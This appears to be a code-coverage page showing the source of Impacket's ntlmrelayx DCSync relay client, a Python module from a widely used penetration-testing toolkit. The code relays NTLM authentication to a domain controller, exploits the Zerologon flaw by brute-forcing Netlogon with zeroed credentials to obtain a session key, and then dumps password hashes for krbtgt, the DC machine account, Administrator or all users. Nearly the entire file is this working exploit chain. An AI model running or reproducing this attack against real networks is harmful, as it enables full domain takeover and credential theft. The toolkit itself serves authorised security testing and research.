Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/dcsyncclient.py : 10%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Author:
10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11# Alberto Solino (@agsolino)
12# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
13#
15from struct import unpack, pack
16from binascii import hexlify, unhexlify
17import traceback
18from Cryptodome.Cipher import ARC4
19from impacket import LOG, ntlm
20from impacket.smbconnection import SMBConnection
21from impacket.examples.ntlmrelayx.clients import ProtocolClient
22from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
23from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \
24 NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL
25from impacket.spnego import SPNEGO_NegTokenResp
26from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc
27from impacket.dcerpc.v5.ndr import NDRCALL
28from impacket.dcerpc.v5.dtypes import NULL
29from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \
30 MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \
31 rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
32from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes
34PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient"
36class DCSYNCRelayClientException(Exception):
37 pass
39class MYDCERPC_v5(DCERPC_v5):
40 def __init__(self, transport):
41 DCERPC_v5.__init__(self, transport)
43 def sendBindType1(self, iface_uuid, auth_data):
44 bind = MSRPCBind()
46 item = CtxItem()
47 item['AbstractSyntax'] = iface_uuid
48 item['TransferSyntax'] = self.transfer_syntax
49 item['ContextID'] = 0
50 item['TransItems'] = 1
51 bind.addCtxItem(item)
53 packet = MSRPCHeader()
54 packet['type'] = rpcrt.MSRPC_BIND
55 packet['pduData'] = bind.getData()
56 packet['call_id'] = 0
58 sec_trailer = SEC_TRAILER()
59 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
60 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
61 sec_trailer['auth_ctx_id'] = 79231
63 pad = (4 - (len(packet.get_packet()) % 4)) % 4
64 if pad != 0:
65 packet['pduData'] += b'\xFF' * pad
66 sec_trailer['auth_pad_len'] = pad
68 packet['sec_trailer'] = sec_trailer
69 packet['auth_data'] = auth_data
71 self._transport.send(packet.get_packet())
73 s = self._transport.recv()
75 if s != 0:
76 resp = MSRPCHeader(s)
77 else:
78 return 0 #mmm why not None?
80 if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:
81 bindResp = MSRPCBindAck(resp.getData())
82 elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:
83 if resp['type'] == rpcrt.MSRPC_FAULT:
84 resp = MSRPCRespHeader(resp.getData())
85 status_code = unpack('<L', resp['pduData'][:4])[0]
86 else:
87 resp = MSRPCBindNak(resp['pduData'])
88 status_code = resp['RejectedReason']
89 if status_code in rpc_status_codes:
90 raise DCERPCException(error_code = status_code)
91 elif status_code in rpc_provider_reason:
92 raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])
93 else:
94 raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
95 else:
96 raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
98 self.set_max_tfrag(bindResp['max_rfrag'])
100 return bindResp
102 def sendBindType3(self, auth_data):
103 sec_trailer = SEC_TRAILER()
104 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
105 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
106 sec_trailer['auth_ctx_id'] = 79231
108 auth3 = MSRPCHeader()
109 auth3['type'] = rpcrt.MSRPC_AUTH3
111 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be
112 # ignored on receipt. The pad field MUST be immediately followed by a
113 # sec_trailer structure whose layout, location, and alignment are as
114 # specified in section 2.2.2.11
115 auth3['pduData'] = b' '
116 auth3['sec_trailer'] = sec_trailer
117 auth3['auth_data'] = auth_data
118 auth3['call_id'] = 0
120 self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
122# Special class that allows skipping Samr connections (they are not strictly needed)
123class PatchedRemoteOperations(RemoteOperations):
125 def getMachineNameAndDomain(self):
126 return '', ''
128 def connectSamr(self, domain):
129 return
131class DCSYNCRelayClient(ProtocolClient):
132 """
133 DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it
134 invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.
135 """
136 PLUGIN_NAME = "DCSYNC"
138 def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):
139 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
141 self.endpoint = serverConfig.rpc_mode
143 self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI
145 LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint))
146 self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')
148 LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))
150 def initConnection(self):
151 rpctransport = transport.DCERPCTransportFactory(self.stringbinding)
153 if self.serverConfig.rpc_use_smb:
154 LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port))
155 rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
156 self.serverConfig.smblmhash, self.serverConfig.smbnthash)
157 rpctransport.set_dport(self.serverConfig.rpc_smb_port)
159 self.session = MYDCERPC_v5(rpctransport)
160 self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
161 self.session.connect()
163 return True
165 def sendNegotiate(self, auth_data):
166 negoMessage = NTLMAuthNegotiate()
167 negoMessage.fromString(auth_data)
168 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
169 negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
170 self.negotiateMessage = negoMessage.getData()
171 bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage)
173 self.challenge = NTLMAuthChallenge()
174 self.challenge.fromString(bindResp['auth_data'])
176 return self.challenge
178 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
179 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
180 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
181 auth_data = respToken2['ResponseToken']
182 else:
183 auth_data = authenticateMessageBlob
185 remoteOps = None
186 try:
187 signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)
188 # Something failed
189 if signingkey == 0:
190 return
191 self.session.set_session_key(signingkey)
192 authenticateMessage = NTLMAuthChallengeResponse()
193 authenticateMessage.fromString(auth_data)
195 # Recalc mic
196 authenticateMessage['MIC'] = b'\x00' * 16
197 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
198 authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
199 newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData())
200 authenticateMessage['MIC'] = newmic
201 self.session.sendBindType3(authenticateMessage.getData())
203 # Now perform DRS bind
204 # This code comes from secretsdump directly
205 request = drsuapi.DRSBind()
206 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
207 drs = drsuapi.DRS_EXTENSIONS_INT()
208 drs['cb'] = len(drs) #- 4
209 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
210 drsuapi.DRS_EXT_STRONG_ENCRYPTION
211 drs['SiteObjGuid'] = drsuapi.NULLGUID
212 drs['Pid'] = 0
213 drs['dwReplEpoch'] = 0
214 drs['dwFlagsExt'] = 0
215 drs['ConfigObjGUID'] = drsuapi.NULLGUID
216 # I'm uber potential (c) Ben
217 drs['dwExtCaps'] = 0xffffffff
218 request['pextClient']['cb'] = len(drs)
219 request['pextClient']['rgb'] = list(drs.getData())
220 resp = self.session.request(request)
222 # Initialize remoteoperations
223 if self.serverConfig.smbuser != '':
224 smbConnection = SMBConnection(self.target.netloc, self.target.netloc)
225 smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
226 self.serverConfig.smblmhash, self.serverConfig.smbnthash)
227 remoteOps = RemoteOperations(smbConnection, False)
228 else:
229 remoteOps = PatchedRemoteOperations(None, False)
231 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
232 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
234 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
235 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
236 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
237 drsExtensionsInt.fromString(ppextServer)
239 if drsExtensionsInt['dwReplEpoch'] != 0:
240 # Different epoch, we have to call DRSBind again
241 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
242 'dwReplEpoch'])
243 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
244 request['pextClient']['cb'] = len(drs)
245 request['pextClient']['rgb'] = list(drs.getData())
246 resp = self.session.request(request)
248 remoteOps._RemoteOperations__hDrs = resp['phDrs']
250 domainName = authenticateMessage['domain_name'].decode('utf-16le')
251 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
252 resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
253 # LOG.debug('DRSDomainControllerInfo() answer')
254 # resp.dump()
256 if resp['pmsgOut']['V2']['cItems'] > 0:
257 remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
258 else:
259 LOG.error("Couldn't get DC info for domain %s" % domainName)
260 raise Exception('Fatal, aborting')
261 remoteOps._RemoteOperations__drsr = self.session
263 # Initialize NTDSHashes object
264 if self.serverConfig.smbuser != '':
265 # We can dump all :)
266 nh = NTDSHashes(None, None, isRemote=True, history=False,
267 noLMHash=False, remoteOps=remoteOps,
268 useVSSMethod=False, justNTLM=False,
269 pwdLastSet=False, resumeSession=None,
270 outputFileName='hashes', justUser=None,
271 printUserStatus=False)
272 nh.dump()
273 else:
274 # Most important, krbtgt
275 nh = NTDSHashes(None, None, isRemote=True, history=False,
276 noLMHash=False, remoteOps=remoteOps,
277 useVSSMethod=False, justNTLM=False,
278 pwdLastSet=False, resumeSession=None,
279 outputFileName='hashes', justUser=domainName + '/krbtgt',
280 printUserStatus=False)
281 nh.dump()
282 # Also important, DC hash (to sync fully)
283 av_pairs = authenticateMessage['ntlm'][44:]
284 av_pairs = AV_PAIRS(av_pairs)
285 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
286 nh = NTDSHashes(None, None, isRemote=True, history=False,
287 noLMHash=False, remoteOps=remoteOps,
288 useVSSMethod=False, justNTLM=False,
289 pwdLastSet=False, resumeSession=None,
290 outputFileName='hashes', justUser=domainName + '/' + serverName + '$',
291 printUserStatus=False)
292 nh.dump()
293 # Finally, builtin\Administrator providing it was not renamed
294 try:
295 nh = NTDSHashes(None, None, isRemote=True, history=False,
296 noLMHash=False, remoteOps=remoteOps,
297 useVSSMethod=False, justNTLM=False,
298 pwdLastSet=False, resumeSession=None,
299 outputFileName='hashes', justUser=domainName + '/Administrator',
300 printUserStatus=False)
301 nh.dump()
302 except Exception:
303 LOG.error('Could not dump administrator (renamed?)')
305 return None, STATUS_SUCCESS
306 except Exception as e:
307 traceback.print_exc()
308 finally:
309 if remoteOps is not None:
310 remoteOps.finish()
312 def netlogonSessionKey(self, challenge, authenticateMessageBlob):
313 # Here we will use netlogon to get the signing session key
314 LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)
316 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
317 authenticateMessage = NTLMAuthChallengeResponse()
318 authenticateMessage.fromString(respToken2['ResponseToken'])
319 domainName = authenticateMessage['domain_name'].decode('utf-16le')
320 flags = authenticateMessage['flags']
321 try:
322 av_pairs = authenticateMessage['ntlm'][44:]
323 av_pairs = AV_PAIRS(av_pairs)
325 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
326 except:
327 LOG.debug("Exception:", exc_info=True)
328 # We're in NTLMv1, not supported
329 return STATUS_ACCESS_DENIED
331 binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
333 dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
334 dce.connect()
335 dce.bind(nrpc.MSRPC_UUID_NRPC)
336 MAX_ATTEMPTS = 6000
337 for attempt in range(0, MAX_ATTEMPTS):
338 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8)
340 serverChallenge = resp['ServerChallenge']
342 ppp = b'\x00'*8
343 try:
344 nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00',
345 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00',
346 ppp, 0x212effef)
347 except nrpc.DCERPCSessionError as ex:
348 # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
349 if ex.get_error_code() == 0xc0000022:
350 continue
351 else:
352 LOG.error('Unexpected error code from DC: %d.', ex.get_error_code())
353 except BaseException as ex:
354 LOG.error('Unexpected error: %s', str(ex))
355 LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt)
356 break
357 else:
358 LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!')
359 return
360 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)
362 # Now let's try to verify the security blob against the PDC
364 lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
365 request = nrpc.NetrLogonSamLogonWithFlags()
366 request['LogonServer'] = '\x00'
367 request['ComputerName'] = serverName + '\x00'
368 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
370 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
371 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
372 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
373 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags
374 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
375 'user_name'].decode('utf-16le')
376 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
377 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
378 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
379 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
381 authenticator = nrpc.NETLOGON_AUTHENTICATOR()
382 authenticator['Credential'] = b'\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
383 authenticator['Timestamp'] = 0
385 request['Authenticator'] = authenticator
386 request['ReturnAuthenticator']['Credential'] = b'\x00'*8
387 request['ReturnAuthenticator']['Timestamp'] = 0
388 request['ExtraFlags'] = 0
389 #request.dump()
390 try:
391 resp = dce.request(request)
392 #resp.dump()
393 except DCERPCException as e:
394 LOG.debug('Exception:', exc_info=True)
395 LOG.error(str(e))
396 return e.get_error_code()
398 LOG.info("%s\\%s successfully validated through NETLOGON" % (
399 domainName, authenticateMessage['user_name'].decode('utf-16le')))
401 encryptedSessionKey = authenticateMessage['session_key']
402 if encryptedSessionKey != '':
403 signingKey = generateEncryptedSessionKey(
404 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
405 else:
406 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
408 LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8'))
409 if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
410 self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey)
411 self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b"Server")
412 self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey)
413 self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b"Server")
414 # Preparing the keys handle states
415 cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
416 self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
417 cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
418 self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
419 else:
420 # Same key for everything
421 self.session._DCERPC_v5__clientSigningKey = signingKey
422 self.session._DCERPC_v5__serverSigningKey = signingKey
423 self.session._DCERPC_v5__clientSealingKey = signingKey
424 self.session._DCERPC_v5__serverSealingKey = signingKey
425 cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
426 self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
427 self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
428 self.session._DCERPC_v5__sequence = 0
429 self.session._DCERPC_v5__flags = flags
430 return signingKey
432 def killConnection(self):
433 if self.session is not None:
434 self.session.get_rpc_transport().disconnect()
435 self.session = None
437 def keepAlive(self):
438 return